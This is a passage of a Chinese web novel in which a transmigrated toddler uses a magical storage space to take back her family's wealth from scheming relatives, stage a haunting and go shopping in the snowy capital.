阿沅伸出指根带着可爱小窝窝的胖手指,先试探着伸出一根,但想想红袖说的,从庄子到京城,路上就要耗费一天,小眉头又皱起来。 干脆张开整个小巴掌,五根手指都翘了起来。 “不行,”孟大川摇头,窗外树梢上的积雪似乎都被他这坚决的语气震得簌簌落下。 “最多三天,再怎么着,柒叔也会把你拎回来。”阿沅知道这已是爹爹能应允的底线,只得撅了撅嘴,乖乖点头同意。 他们出发的第一天晚上,侯府就出了令人毛骨悚然的怪事。 老夫人所住的松鹤院闹鬼了,闹得整个侯府沸沸扬扬,人心惶惶。 那“鬼”来得无踪无影,去得无声无息,却把老夫人宋氏吓得魂不附体,躺在雕花大床上直哆嗦,屋里的丫鬟婆子们也尖叫不断,瑟缩成一团。 不得已,二房的人整晚不得安睡,全都跑过去战战兢兢地伺候着。 “光听闻脚步声‘咚咚咚’地跑来跑去,又快又轻,每次总要在老身跟前停上好一会儿,或是绕着床榻转好几圈,那阴冷的气息都贴上来了,连那…那喘气儿的声音都听得见,可愣是一点人影都见不着啊!” 老夫人宋氏脸色惨白如纸,紧紧抓住儿子孟二泉的衣袖不肯撒手,屋里纵然点了十几根最大的蜡烛,照得一片亮堂,也驱不散她心头的寒意。 一个上了年纪、在府中颇有体面的老奴也颤声道:“老婆子我在小厨房给老夫人煎安神药,药都快煎好了,总有…有那看不见的鬼手,‘啪’地一下就把药罐子打泼了,滚烫的药汁溅了一地,像是…像是专跟老夫人过不去一般。” 院里所有的婆子丫鬟都作证确有此事,除了守门口实在躲不开的,全都挤在了老夫人这边的外屋,个个面无人色。 二房长女十三岁的孟凌死死窝在小宋氏怀里,瑟瑟发抖,不敢闭上眼睛,也不敢东张西望。 十一岁的长子孟怀堂虽斜坐在靠椅上,强撑着副吊儿郎当、浑不在意的模样,但那不时瞟向门窗外黑暗处的眼神,也泄露了他心底的惊疑不定。 第12章 金银财宝全进来 虽然来京城坐了一整天马车,但阿沅在娘亲特意为她布置的、铺着厚软锦褥的小床上也睡了个饱觉,养足了精神。 所以,天一擦黑,她便开始兴致勃勃地“排兵布阵”。 她一边享受着红袖的喂食,一边小嘴吧嗒不停,开始安排任务,每讲完一句,就张嘴接一口饭,模样认真又逗趣。 “九叔、屎一叔,”她口齿还带着点奶气的含糊,却指挥若定,“泥们吓坏祖母,不让她睡觉,在她耳边吹气!” “屎五叔、屎六叔,”阿沅又转向另外两人,“泥们跟窝,把坏人引开。” 被点名的孟十一、孟十五、孟十六,三个暗卫,表情顿时精彩极了,一个个冷峻的脸庞机不可察地抽搐一下,面前的十大碗都感觉闻了味。 只有阿九幸灾乐祸地看着他们,红烧肉嚼得喷香。 对上阿沅那双亮晶晶、充满期待的大眼睛,他们所有的话都咽了回去,个个点头应是。 “绿果、红豆,开锁,守门。”阿沅继续分派,两个丫鬟立刻挺直腰板,脆生生应“是”,脸上是既紧张又兴奋的神情,没想才跟小姐几天就能干大事。 “那奴婢呢?”红袖喂饭的动作一顿,跃跃欲试地问。 本来计划里确实没她什么事,她偏以小姐年纪小,夜里睡觉、平日吃饭都需要人贴身服侍,而她是最佳人选为理由,才硬是赖着跟来的。 阿沅歪着小脑袋想了想,“泥负责举蜡烛。” “那在下呢?”一旁的孟柒等了半天,也没听到自己的名字,终于忍不住郁闷出声。他可是主子钦点的、这次行动的护卫头子。 “泥…”阿沅的小脑袋又转了转,眼睛忽然狡黠地一亮,神神秘秘地拖长了语调,看着孟柒那张向来没什么表情、此刻却隐隐透着点憋屈的脸,起了逗弄心思:“你…去听墙角。” 对这个被爹爹强压给她、总是一本正经的柒叔,她可是找到了“报复”的机会。 孟柒闻言,眉头立刻紧紧锁成了一个“川”字,这分明是妇人们才热衷的差使!他堂堂暗卫头领,武功高强,潜伏刺探是本职,可这“听墙角… 他看看一脸无辜又狡黠的小姐,又看了看抿嘴偷笑的绿果、红豆和满脸期待的红袖,一股深深的无力感涌上心头。半晌,他才从喉咙里挤出一个闷闷的、极不情愿的:“是!” 每次主子交代下来的任务,从来都是他来主导安排。可这回出门前,主子特意把他叫到跟前,千叮万嘱:此行一切,全凭小姐安排,你只管护她周全。 所以,除了牢牢护住小姐,对这些古灵精怪、令人啼笑皆非的指派,他又有什么办法?只能无条件配合。 有了十五、十六在外围悄无声息地清场,确保无人打扰,阿沅小手一挥,颇有气势地指向第一个目标——他们大房的含章苑。 毕竟才离开了三个多月,原主对这里的每个房间、一草一木都熟悉得如同自己的小手掌心,红袖也不例外,主仆二人对这院子有着刻在骨子里的记忆。 “开锁不留痕迹,待会儿还要原样关上,别让人看出来哟。” 阿沅利落地吩咐绿果和红豆,小脸板着,一副认真指挥的模样,完全忘了自己这会儿应该是个说话奶声奶气、懵懂无知的三岁小娃。 好在夜色深沉,大家注意力都在任务上,竟没人特别留意她这与年龄不符的“老成”。 进了正屋,再通过正屋摸进侧屋的两间库房。阿沅就着红袖手里那簇跳动的烛光看去,只见三层共八排的储物架子还是满满当当,各种箱笼、摆件、布料堆得严严实实,大件的器物也直接摆在地上,琳琅满目,看样子还没被动过。 想来那窝狼心狗肺的东西,是料定了他们会死在偏僻庄子上,并不急着把这些财物立刻抢了去,倒让阿沅捡了个现成便宜。 “小姐,快看,这箱子里也都是满的!”红袖也没闲着,手脚麻利地打开就近的两个大箱子,借着烛光看到里面珠光宝气,眼睛立刻亮了起来,开始有了兴奋劲。 “嗯嗯,”阿沅点点小脑袋,推了推红袖的胳膊,“泥走前面…才够亮嘛。”红袖不疑有他,乖乖举着蜡烛走在前头照路,一点都没怀疑小姐的用意,更不会转头往后看。 阿沅跟在她身后,悄悄伸出小胖手,对着那些架子、箱子,嘴里开始无声地念念有词,小脸上表情专注又带着点淘气的笑意,心里头的小算盘打得噼啪响。 “来,来,来,财宝全都来来;进,进,进,值钱的东西都进进;要,要,要,爹爹嘚嘚娘亲需要好药药,还有阿沅的好看衣裳,甜甜糕!” 随着她意念所及,小手拂过之处,那原本塞得满满的架子就像被一只无形的大嘴吞吃了似的,瞬间变得空空如也,连一丝灰尘都没多落;地板上那些大件器物也眨眼消失不见,只留下积年灰尘的印子。 “走,进娘亲屋里去!”搜刮完库房,阿沅小手一指,毫不留恋。 “正房,”那里有娘亲梳妆台,有漂亮匣子! “去花厅,”那有镶了宝石的屏风! “去窝们住的侧屋,”小拔步床和玩具箱也要! 阿沅一一指挥,声音清脆,带着孩童特有的雀跃,仿佛在玩一个有趣的搬家游戏。 红袖举着蜡烛,被她指使得团团转,烛影随着她们的脚步掠过一个又一个房间。 凡烛光所过之处,如同被狂风卷过,又似被蝗虫啃噬,变得空空荡荡。 不但那些珍贵的紫檀木、黄花梨家具一件不留,就连墙上挂着的名家字画、多宝阁上的古玩玉器,也全都消失得无影无踪,整个院子变得空空荡荡。 再去往二房的芝兰苑时,阿沅小脑袋瓜转了转,没那么“贪心”了。她想着反正以后还有机会帮他们“刮地皮”,这回就先收点要紧的。 于是,她主要瞄准了银票、铺子房契、地契这些轻便又值钱的纸片子,小手一挥,统统收走。想了想,觉得下人的卖身契说不定以后也有用,也一并捞了过来。 至于金锭子、银锭子,只清空了锁在箱柜里成堆的,明面上摆着的一点没动。各间屋子里的家具器物,这次也暂且放过它。 一来是不想他们发现得太早,打草惊蛇;二来嘛,她感觉自己的空间里,那个不是很大的小庭院应该快堆满了,再多塞些大件怕是要挤坏了。 还有一个她自己的小顾虑——她还没搞清楚那空间里会不会下雨呢,万一下起雨来,把这些精贵的家具字画泡坏了可怎么办?她可心疼了!看来回了庄子还得转移。 第13章 究竟哪里得罪了这个小祖宗? 从芝兰院出来,阿沅站在月光下,小手叉着腰,有点气闷地鼓了鼓腮帮子。 二房库房里的东西虽然没有娘亲的嫁妆那么多、那么精,但也塞了满满一屋子呢!这事透着蹊跷。 宋家不过有个七品小官,那还是老侯爷后来才给谋的官职。当年宋家嫁女儿的时候,为了体面老宋氏没少贴补,才凑够了八抬嫁妆,里头还都是东拼西凑的便宜货。二叔自己呢,官居六品,那点子俸禄都不够他自己出去喝两顿好酒的。 这些好东西,要么是他们贪墨来的,要么就是变着法子从娘亲那里“打秋风”弄的!再就是坏祖母的偏心。 一想到这儿,阿沅心里就暗恨,又给二房记下了重重的一笔小黑账。 再去往前院时,阿沅可就不客气了。爹爹孟大川以前住的院子,里里外外、角角落落,全部清空! 哥哥孟怀瑾的书房,更是重点照顾对象,不但墙上的书画、多宝阁的摆设,就连那厚重的书柜、宽大的书桌、还有上好的笔墨纸砚,全都一星半点不留,搬得那叫一个干净彻底! 二叔的书房和住处,她虽然没收多少东西,但是专挑古籍字画,越是隐秘藏着的东西她越收,总觉得没准对爹爹有用,对把他们制成冰人有用。 等再兜回松鹤院附近时,却被守在那里的阿九和十一拦住了。 阿九摇摇头,低声道:“小姐,里面一屋子的人都吓得不敢走,缩在老夫人屋里。有丫鬟婆子壮着胆子想出来瞧瞧,都被我们弄出的动静给吓回去了。” “那就再吓唬他们一轮,吓到他们不敢睁眼!”阿沅小拳头一握,随即又松开,狡黠一笑,“窝们白天再来‘串门’。现在,撤!” 十一急急问:“那老大呢?”他指了指还在屋顶上潜伏着的孟柒。 阿沅头也不回,迈着小短腿往前走,奶声奶气的声音在夜风里飘过来:“柒叔呀?继续…听墙角!要听得仔细哦~” 屋顶上,已经掀开瓦片听了许久、吹了大半个时辰冷风的孟柒,内心顿时一阵无声的哀嚎。 但他仍然认命地伏低身子,继续支棱起耳朵,仔细分辨屋内的每一丝动静,只是心里怎么也想不明白:自己究竟是哪里得罪了这位小祖宗?这“听墙角”的差使,何时才是个头啊? 他们住的是柳氏的陪嫁铺子,距离侯府只隔了两条街,是前铺后院的格局,刚好够他们这么多人凑合着住。 院子里有口老井,墙角还长着几丛野草,暗卫打水的时候,阿沅还踮着脚往井里瞧了瞧,黑布隆冬的啥也看不到,还被红袖扯领子吓了一跳。 洗漱完,被红袖裹进软软的被子里,阿沅只露出一张粉嘟嘟的小脸。 她躺到床上,立刻伸出小短胳膊,学着戏文里的腔调,一本正经地赶人:“不睡觉,打板子!不喊自到,打板子!” 说完还鼓起腮帮子,努力做出凶巴巴的样子,可那长长的睫毛忽闪忽闪的,实在没什么威慑力。 谁都听得出,小姐分明就是纸扎的老虎——吓唬人,所以绿果和红豆并不想走,她们对今晚的事还意犹未尽。 从进庄子第一天,她们就意识到主子们跟侯府里的人不共戴天。所以不明白小姐为什么带着她们在侯府只逛不拿。 但她们并不打算多嘴问一句,只是纯粹兴奋得睡不着,想找可爱的奶团小姐说说话。 阿沅板着脸,脆生生地道:“早点休息,明日再去(侯府)!”她哪里会不懂绿果和红豆心里的想法,只是有些东西急不得。 见两人还围着自己打转,她急得在被窝里蹬了蹬小脚丫,表示抗议,床板蹬得砰砰响。 “再不走,小心小姐明天打发了你们。”红袖叉起腰,鼓着眼,像只护崽的老母鸡护住床头。 绿果和红豆吐了吐舌头,这才笑嘻嘻地“落荒而逃”。 幔帐一落下,听到脚步声走远,阿沅大眼睛骨碌一转,确认没了人,立刻心念一动就进了空间。 那许久不住人的简陋屋子又冷又硬,哪有她自己的小单间住得舒服呀,她打算进去好好睡一觉。 可刚一闪身还没进屋,她就被眼前景象吓了一跳,小嘴张成了圆圆的“O”形。空间里多了不得了的东西,准确来说是多了一个院子——一个一模一样的含章苑,就安安静静地立在实验室的隔壁,连门口那棵歪脖子树的影子都分毫不差! 这是空间的奖赏吗?因为她把家里的财物取回来的缘故? 一定是的!阿沅顿时乐开了花,拍着小手在原地蹦跶了两下:“发财啦!院子飞来啦!” 她高兴得像是偷吃了蜜糖,迈开小短腿就围着院子转起圈圈,一边转一边咯咯笑。 比起庄子里的小破屋,她还是更喜欢住自家的小院子,只是,爹娘和哥哥可能进不来。 一间一间屋子推开门去看,连原本下人住的小小厢房都没错过,每看一间,就发出“哇”的一声惊叹。 嗨!确实就是三岁小奶娃的模样,但也没办法,谁叫她现在真的小呢? 刚刚在侯府含章苑收的东西,原原本本地出现在了空间里含章苑的各间屋子中,桌子、椅子、绣墩、妆奁……摆设连角度都一点没变。 就连哥哥平时爱翻的那几本书,都还摊在娘亲外屋的几子上,有一本还打开着,像是主人刚刚还翻过一般。 阿沅踮脚摸了摸多宝阁上的玉摆件,又跑到拔步床边扯了扯熟悉的锦被,要不是扭头就能看见旁边那栋亮堂堂、奇奇怪怪的现代大楼,她真以为自己还在平阳侯府没出来呢。 “唔……好可惜哦,”她掰着手指头,小大人似的叹了口气,自言自语地嘟囔,“奖励的不是整个侯府……前院和二叔的院子,没有飞进来。” 不过万幸,从那些地方收来的东西,都整整齐齐地归置在了含章院空着的屋子里,一箱一箱,一摞一摞,分门别类,清清楚楚,一眼看过去一点也不乱。 “还有这种奖励呀,”阿沅乌溜溜的眼珠里满是兴奋的光,她握紧小拳头,对着空气挥了挥,声音软糯却充满干劲。 “那窝以后,要更~更~更努力才行!” 这一晚,阿沅连做梦都“咯咯”笑醒了好几回,幸亏三岁的小娃娃睡得沉,翻个身,咂咂嘴,又抱着被子甜甜地睡过去了。 第14章 怀疑你在抢我饭碗 阿沅在小单间里睡了个十足十的饱觉,小小的身子陷在松软的床垫中,醒来时小院屋里仍是漆黑一片。 她迷迷瞪瞪地扒着窗沿往外瞧,天边连一丝鱼肚白都没有,便又蜷回去,囫囵个儿地沉入了梦乡。 这一觉直睡到日头高悬,明晃晃的阳光透过窗纸,将满室映得亮堂堂,她才揉着眼睛坐起身,腹中早已是空空如也,饿得咕咕直叫。 外间堂屋里,与她境况差不离的几乎是所有人,都围坐在一张大圆桌旁用早饭。 孟柒正一手端着一碗清粥,一手拿个大肉包子吃得狼狈,抬眼便与刚走出来的阿沅对上了视线,他眼底两抹浓重的青黑,脸上写满了疲惫与无奈,幽幽地望过来。 阿沅被他那眼神看得一个激灵,赶忙挤出个甜甜的笑容,声音还带着刚睡醒的绵软:“柒叔回得这么早呀?”话一出口,就觉得自己说错了。 孟柒显然没被这故作乖巧的问候安慰到,若是此刻站着,怕是真要脚下一软打个趔趄。 他狠狠咬着一只汁水丰盈的肥肉包子,闻言闷闷地“嗯”了一声,声音从包子缝里挤出来,带着些含糊的郁气:“刚回。” 一直到阿沅停了筷,孟柒并没有告知她墙角听来的消息,阿沅也不催促不焦急,这时候他向个三岁小娃一五一十汇报,才真真是奇怪。只想着,如果是她应该知道的,以后爹娘定不会瞒她。 “吃饱~去找~老妖婆!”被红袖抱起来,坐下的小奶团子挥舞着小勺子,又开始装小大人安排起来,一双乌溜溜的眼睛里满是跃跃欲试的兴奋。 孟柒听得眼皮直跳,只觉得心口又中了一箭。他刚马不停蹄地奔波回来,气还没喘匀呢。这下他更确信,自己上辈子定然是与这位小主子结下了什么不解的仇怨。 “昨晚老太太着实吓得不轻,”旁边一十五见状忙禀报,试图缓和气氛,“天还没大亮,就慌慌张张差人搬出松鹤院,到前头二爷院子去住了,应不会那么快搬回来。” 他学着那老太婆惊魂未定的腔调,压低了声音道,“后院阴气重得骇人,还是住在前院踏实些。” “侯府里头那些人,折腾了一晚上没合眼,这会儿倒是消停了,估摸着都补觉了。”孟柒叹了口气,再回去倒不是不行。 只是他看着眼前精神头十足的小姐,再想想自己熬得通红的眼睛,只觉得浑身骨头都叫嚣着疲惫,恨不能立刻寻个地方躺上几个时辰,哪怕合合眼也是好的。 不过,昨晚他伏在屋顶上揭瓦,倒真是听到了不少腌臜隐秘,那些话此刻沉甸甸地压在他心头。 前几天,他只觉侯府那些人心肠狠毒,无情无义,竟将自家主子丢到这鸟不拉屎的破庄子里不闻不问。 可自从主子雷厉风行让他处置了庄头一家,又吩咐他们将整个小院守得铁桶一般严密,还往夫人和两个小主子身边安排了人,他才渐渐嗅出事情远非表面那么简单。 昨晚听了一夜壁角,那些所谓的“亲人”私下里的盘算、冷血无情的话语,才让他彻底明白,那哪里是人,分明是一群披着人皮的豺狼畜生,心思歹毒得很。 “搬了正好!” 阿沅一听,眼睛更亮了,拍着小手道,“窝要去~挖空它!” 昨晚正是因为那一屋子人都挤在松鹤院里,才没方便她动手。如今她自己搬走了,岂不是天时、地利、人和都凑齐了? “小姐想要的,可是这些?”孟柒指了指屋角,那里堆着两个鼓鼓囊囊的大布包袱,并两只沉甸甸的箱笼,“如若不全,在下和几个兄弟今晚再跑一趟便是,不必劳动小姐亲自涉险。” 实际上,昨晚阿沅撤离之时,特意给他留了两个暗卫相助,他倒也不算孤军奋战。 “这是什么?”阿沅顺着他的手指望去,顿时像只欢快的小雀儿,噔噔噔地跑了过去。红袖连忙跟上,手脚利落地帮她解开包袱的结,又掀开了箱笼的盖子。 “铺子的契书、房契、地契、银票,还有现银,方便取的都在这儿了。”见小主子凑在箱子前,小脸被金银的光芒映得发亮,一副喜不自禁的模样,孟柒脸上终于有了点松动的神色,眼底也掠过一丝微不可察的得意。 十五和十六更是挺直了腰板,脸上带着干成了大事的畅快,“除了那些摆在明面上、一时动不得的,其他的,我们给她抄了个底朝天,半点没剩。” 阿沅蹲下身,一包一包、一箱一箱地仔细翻看,小嘴惊讶地窝成了圆形。 那老妖婆的家底还真是厚实,银票和房契、地契都收在一个精巧的紫檀木小匣子里,塞得满满当当;另有半箱子黄澄澄、沉甸甸的金元宝,晃得人眼花;余下的便都是白花花的银元宝,整齐地码满两个大木箱子。 “窝…看看,”她拿起那匣子地契,又噔噔噔地跑回桌边,踮着脚将契纸一张张铺开,胖乎乎的小手指头在上面点点划划,装模作样地审视着。 直到翻了七八张,孟柒忽然察觉什么,疑惑地问道:“小姐……认得字?” 阿沅心里“咯噔”一下,这才后知后觉地想起,原主才三岁多一点,按理该是不识字的。 她连忙把手上的契纸翻来覆去,最后索性放倒了看,倒着瞅,小眉头紧紧拧着,一副努力辨认却认不得的苦恼样子。 想想似乎不够,她又抬起头,冲着孟柒鼓起腮帮子,圆溜溜的眼睛里含着被戳破的羞恼,奶声奶气地控诉:“柒叔!泥别欺负人!” 她那副强装大人、却又童稚毕露的萌态,只让满屋子的人都忍不住背过身去,肩膀耸动,捂嘴低笑。 孟柒倒是没笑,脸上仍是那副没什么的表情,只是伸手往自己怀里一探,取出一张叠得整齐的纸,“啪”地一声轻拍在桌上。“小姐要找的,可是这庄子的地契?” 阿沅凑过去,待看清纸上端端正正写着的“嘉禾庄”三个大字,心里一直悬着的那块石头终于落了地,欢喜之情溢于言表,脱口而出:“柒叔,爱泥哦!” 这话直白得让孟柒那张没什么表情的脸微微一僵,随即,他那颗因连日奔波而冷硬疲惫的心,似乎悄然裂开了一道细微的缝隙,透进一丝暖意。 阿沅继续翻看着手里的纸张,忽然间,她眉头一皱,小脸上又透出了一股不满足的神情,“娘亲说,卖身契,好…拿捏。” “这个在下倒是想到了,”孟柒点了点头,语气平稳地补充道,“不过只取了庄子里十几个下人的。另外,侯府大管家那张,思量着或许日后有用,便也一并取了回来。” 说着,他又伸手入怀,这回掏出厚厚一叠印有官府印鉴的契纸,稳稳地摁在阿沅的小手里。 阿沅看着手里这一大摞,一时有些语塞,抬起小脸,眨巴着大眼睛望着孟柒,那眼神,心里埋怨开了:“我怀疑泥在抢我饭碗,可我没有证据。” 又低下头,一副呆萌的模样,将那些卖身契上下翻看、颠来倒去地“研究”了半天,好像她真能从那密密麻麻的字里行间看出朵花来。 第15章 买买买 “那泥们~赶紧去睡觉,”阿沅将契纸小心收好,实则进了空间,小手一挥,做出了安排,“今晚换窝去~听墙角!” 眼下立刻打道回府是不可能的,这一趟来京城,那几个仇人的面还没见着呢!虽然不至于立刻将他们千刀万剐,可也不能白白便宜了他们。 阿沅心里的小算盘拨得噼啪响,一股子要使坏的灵动劲儿在眉眼间流转。 “红袖,拿些银子~去~买买买。”原主对京城的记忆,几乎全局限在侯府那片四四方方的狭窄天地里,以至于阿沅此刻对这座都城的繁华充满了前所未有的好奇。 她声音里带着雀跃的期待,指向窗外隐约传来的热闹:“窝带泥~看~繁华!买买买~多多的。” 红袖还站在那两大箱金元宝银元宝面前发呆,一得令,银元宝就往自己的怀里塞,足足塞了七八个,小腹鼓鼓囊囊,才记起应该用荷包装。 再一看自己和小姐的荷包太小,干脆塞了两个金元宝进小姐的荷包递给她,自己的荷包则又装了两大锭银元宝,然后拎着一直傻笑。完全把木匣子里的银票废纸而不自知。 “泥们,”阿沅笑得眉眼弯弯,看向同样睡够了的另外两个暗卫孟九和十一,“去买…银丝炭,多多的。” 红袖这时候终于不再呆愣,低头看了看自己有点发痒的冻疮手,怕他们听不明白,嘟囔一句,“多多的,有多少买多少。” 孟九和十一诧异看看红袖,又看向小姐,阿沅朝他们露出八颗小米牙,“炭盆…也多多的。” 两人才连忙应“是。” 阿沅又道,“不好的木炭~也多多的。” 孟九迟疑:“普通木炭?也…全部买完?” 阿沅脆生生,小手大方一挥:“佃户…一户…一车。” 所有人感动,小姐怎么那么善良!连低贱的佃农都想着给雪中送炭,然后谁都没质疑小姐的决定。 小姐这意思就是说,他们也可以跟主子一样,用最好的银丝炭,还可以用很多。 “还买…多多的粮食。”阿沅大手一挥,将手中那一大匣子的银票推给了孟柒。 这其实是阿沅睡饱醒来后,临时做的决定。她忽然记起书本里的情节,今年的京城遭遇了百年一遇的雪灾,雪天会一直持续到来年的三月中旬。 孟大川死后没多久,已经大雪封门,柳氏和孟怀瑾的药也因此断了一段时间,但是病情却不见好,除了没能及时解毒并滋补,也全因庄子里没有火炕,炭火也准备不足,冻伤了身。 这场大雪中,庄子里不少佃户的屋子都被雪压垮塌,死了不少人。 由于冻土,直到五月底庄子才恢复春耕。粮食价格暴涨,持续到第二年的秋收时节。 孟柒看向不经意一般,安排完后摇头晃脑吃点心的小姐,眼眸幽深。 …… 京城,还真没有阿沅想象的那么好。 除了房屋更加古色古香——那瓦檐的弧度带着岁月磨蚀的钝重,青石板路被车轮碾出深深浅浅的凹痕,雨雪天积着浑浊的水洼——之外,还真不像见过的古代剧那么美好。 街道不是很宽敞,大多只能并排两辆马车平行,车辙交错时,车夫须得扯着嗓子吆喝、小心翼翼地错轮;最宽大的朱雀大街倒是可以并排四辆马车,但仅是唯一的一条。 且街面虽宽,两旁却挤满了挑担叫卖的小贩和蹲踞歇脚的力夫,显得拥挤而喧嚷。 高门大宅门庭确实建得挺高,但那朱漆大门和围墙的颜色并没有现代的红墙碧瓦那么醒目鲜艳,朱色里掺着暗褐,像是陈年的血渍;粉刷得也没那么均匀,有些地方涂层厚得起了皱,有些地方却薄得露出底下的灰泥。 而且大多已经斑驳褪色,雪水沿着墙檐淌下,划出一道道污浊的泪痕。 大的酒楼、青楼、客栈靠街位置勉强起有两到三层,窗棂的雕花已熏得发黑;民房都只有一层,低矮得仿佛压着人的脊梁,偏一些的巷子里很多还是盖瓦的土坯房,墙皮剥落,露出里头夯实的黄土和碎草,还好,屋顶上盖的都是瓦片,而不是稻草。 京城毕竟不同于别处,街上衣着光鲜的老爷夫人、公子小姐不少,他们穿着绸缎或细棉的袍子,外头罩着毛皮斗篷,乘着车厢雕花、帘帷锦绣的马车,马蹄嘚嘚踏过石板,铃声清越——光从衣着和所坐车马就跟普通平民一分为二,一目了然。 但再好的料子,也不如现代一般颜色印花应有尽有、繁花似锦:那缎子的光泽是温吞的,花纹多是传统的缠枝或云纹,颜色也逃不出靛青、绛紫、秋香、大红大紫等十来种,看久了便觉得沉闷。 平民百姓衣着的粗棉布不是黑色、靛蓝就是灰扑扑的深灰色,像蒙着一层永远掸不掉的尘土;衣裳裁剪也极为简单,直筒的褂子,宽大的裤子,上面极少有花纹,针脚粗疏得能塞进米粒,穿着打补丁的还不在少数。 巷子口还有不少乞丐蜷在向阳的墙角晒太阳,破碗搁在身前,里头零星躺着几枚铜板,他们的眼神空洞,仿佛看透了这京华的虚影。 阿沅自嘲地抖动了一下小奶瓢——那帽兜上的小球随着她的动作轻轻一颤——被古代剧荼毒惯误导,都以为古代比现代还要繁华。 原来这才是真正的古代:房屋是低矮的,街道是拥挤的,色彩是黯淡的,富贵与贫贱之间隔着一道肉眼可见的鸿沟。 这便是并不富丽堂皇的大康朝,一个呼吸间都带着烟火与尘灰气息的实实在在的尘世。 这个朝代,看着绝不是什么大康盛世。 普通百姓认为的好生活,应该也只过是图个四季温饱、平平安安而已:缸里有米,灶下有柴,冬日有一件裹身的厚袄,雨天屋子不漏水,便是莫大的福气。 即使没有灾荒战乱,日子也好不到哪去,赋税、劳役、还有那说不清道不明的盘剥,像细绳般勒在颈间,让百姓不得不低头。 这样看来,她这个种子专家没准能为大康朝做点贡献——让稻穗结得再沉些,让麦粒长得再饱些;也应该以解决百姓温饱为己任,哪怕只是一星半点的改善,也是在这灰扑扑的画卷上添一抹微亮的颜色。 第16章 别不是宫里出来的小公主 “好冷冷,买成衣。”阿沅看见招牌描金的成衣铺子就叫停,一被红袖抱下车,也不等人就噔噔噔跑了进去,像只急于归巢的雀儿。 红袖和绿果、红豆连忙跟了进去,裙裾扫过门槛,带进一阵细碎的雪沫。 “夫人,我们锦绣坊新出的衣料和最新款式的过年成衣刚刚送过来,请进来选一选?” 天气冷,还下着小雪,细密的雪粒子沙沙地打在门帘上,即使是锦绣坊这样的大型绸缎成衣铺子,也难得见几个主顾。 一个伙计本抄着手靠在墙边打盹,听见门响,一个激灵抬起头。 只见一阵寒风猛地灌进来,吹得柜台上账册的纸页哗啦作响,铺里的所有人不约而同打了个寒战,缩了缩脖子,却没见个人影,小二心里嘀咕:真是见鬼了。 “小姐,慢点!”再一次门帘掀开,冲进来三个半大小姑娘——红袖领头,绿果、红豆紧随,脸颊都冻得红扑扑的——后,阿沅已经冲到了柜台前,小小的身影被高大的柜台衬得像只滚动的绒球。 “咦!人呐?”小家伙奶声奶气地问,才及柜台一半高,她努力踮起脚,柜台里往外探,也只见露出帽兜顶上的那个小球。 “这件…娘亲哒!这件…爹爹哒!嘚嘚…这件!红袖…冷…这件!…”她的小手急切地指点着悬挂的成衣,语速快得像蹦豆子,每指一件,就响亮地报出归属,俨然一位指挥若定的小当家。 柜台内闲坐着的女掌柜听到声音,还没见到正主,就听见后面跟进来的一个红衣小姑娘又复述上了,声音清脆利落:“没听见小姐我们点菜吗?这套我们夫人的,身长六尺八寸,身材偏瘦;这套我们大爷的,七尺八寸,身材魁梧;还有这套…” “点菜”这个词还是刚跟小姐学来的,红袖现学现卖,说得一本正经。 当阿沅盯上了套在木头小人上的那套大红锦衣——那红色在略显昏暗的铺子里像一簇跳动的火苗——脆生生大叫了一声:“我哒!” 女掌柜这才后知后觉,连忙走出柜台,俯身向下。铺子里的伙计和几个原本在挑选衣料的女顾客也好奇围拢了过来,脚步声杂沓。 穿着绛紫缎子袄裙的富贵夫人惊呼:“哪家的奶娃娃,圆滚滚的,可爱得紧。”她伸出手,似乎想摸一摸那帽兜上的绒毛。 可不可爱么? 这次出门,柳氏可是在着装上给的阿沅下了功夫,怕她冷,把她包裹得圆滚滚像个的福团,也不失极其精致。 只见小家伙裹在一袭樱桃红羽纱面白狐里小斗篷里,斗篷边缘一圈丰密的白毛已被雪粒打湿,几缕黏在一起,像给粉嫩嫩的圆脸蛋再围了圈融化的奶沫子。 帽兜很深,只露一张糯米团子似的脸,双颊被寒风吹得比斗篷还要艳,像刚点上的胭脂,还带着湿漉漉的寒气。 里头是同色暗花缎小袄,金线暗绣“岁岁平安”的纹样在灯光下隐隐流动,扣子是五颗小圆珊瑚,一粒粒像晶莹的冰糖,亮得人想含一口。 袄下是灰鼠皮连脚棉裤,裤腰高到胸口,用一条鹅黄缎带系成个大大的蝴蝶结,带子尾端垂在圆鼓鼓的小肚皮前,随着她一步三晃。 脚上是白毡靴,靴头绣着金元宝,出“吱咕吱咕”的声响,此刻站在店铺光洁的地面上,留下几个淡淡的水印子。 见那么多人围着她,阿沅也不害怕,故意呆萌地“咦?”了一声,小手努力往柜台上攀,指尖刚够到柜台边缘,又:“咦——”了一声,尾音拉得好长,惹得旁人都笑了。 “掌柜的不卖衣衣,要钱钱么?”她滴溜溜的大眼睛转向女掌柜,又转向众人,眼珠乌黑晶亮,透着纯然的无辜与好奇。 有人忍不住用指尖轻轻碰了碰她帽兜上摇晃的小球球,小球碰在她冰凉的脸颊上,她眨了眨眼。 “小姐,您要这套?”女掌柜连忙蹲下身,视线与她平齐,逗着她玩,也示意伙计去接待红袖,处理刚刚那些“点菜”的订单。 “是哒!好看…过年…拜年。”阿沅小大人般,无比认真地点点头,指向那套大红喜庆的童装时,眼里都闪出了小星星,那不止是一件衣服,而是孩童的快乐和期待。 众人顺着她藕节似的小手指的方向看上去。 只见小木人身上穿着: 大红织金缎袄裤,团花五福捧寿的图案在胸前熠熠生光。 三蓝牡丹镶领,衬着一圈雪白的狐风毛,柔软蓬松。 高腰紧裤裤脚束成灯笼状,边缘绣着海水江崖纹,金线随着目光流转微微荡漾。 无缃比甲上绣着百子戏春图,一个个孩童憨态可掬,仿佛一动就会叮铃作响。 旁边的虎头帽额前绣着威风的“王”字,翡翠镶成的眼睛炯炯有神,仿佛能守着岁岁平安。 还真是好看,应该也不便宜,更是觉得也只有这么好看的奶娃娃才衬得上这套衣服。 好眼光。 “这孩子穿上,再抱个金元宝,还不就是个小福娃!”有夫人惊叹,仿佛已经看到了那画面。 “像年画上的招财童子才是。”有人轻声反驳,语气里满是喜爱。 有人起了逗弄之心,弯下腰问道:“奶娃娃你进来就点,有银子吗你?” “金元宝,给!”看不上谁呢?阿沅被这话一激,立刻往自己腰间那个绣着缠枝莲的小荷包里一掏——小手在里面摸索了一下——然后拿出一个黄澄澄、沉甸甸的小金元宝,“啪”地一声拍到了女掌柜摊开的手上。 女掌柜被那分量和冰凉触感镇住了,眼睛微微睁大;众人也看得一愣一愣的,铺子里静了一瞬。 “没准是宫里出来的小公主呢。”有人压低声音惊呼,目光里多了几分敬畏与打量。 